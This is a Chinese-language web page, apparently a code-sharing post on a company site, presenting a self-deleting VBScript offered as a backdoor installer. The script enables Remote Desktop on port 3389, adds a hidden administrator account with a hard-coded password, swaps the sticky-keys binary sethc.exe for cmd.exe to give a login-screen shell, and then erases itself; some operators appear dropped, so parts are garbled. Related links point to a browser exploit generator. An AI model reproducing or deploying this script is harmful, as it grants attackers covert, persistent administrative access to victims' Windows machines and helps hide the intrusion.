• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    可自删除 开启3389创建用户粘滞键后门的vbs
    on error resume next
    const HKEY_LOCAL_MACHINE = H80000002
    strComputer = "."
    Set StdOut = WScript.StdOut
    Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" _
    strComputer "\root\default:StdRegProv")
    strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
    oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
    strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
    oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
    strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
    strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
    strValueName = "fDenyTSConnections"
    dwValue = 0
    oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
    strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
    strValueName = "PortNumber"
    dwValue = 3389
    oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
    strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
    strValueName = "PortNumber"
    dwValue = 3389
    oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
    on error resume next
    dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os"/"username",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
    On Error Resume Next
    Dim obj, success
    Set obj = CreateObject("WScript.Shell")
    success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exeecho y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:Fcopy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.execopy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exedel %SystemRoot%\system32\sethc.exeren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
    CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
    上一篇:网马生成器 MS Internet Explorer XML Parsing Buffer Overflow Exploit (vista) 0day
    下一篇:CMD和vbs修改 IP地址及DNS的实现代码
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    可自删除 开启3389创建用户粘滞键后门的vbs 可自,删除,开启,3389,创建,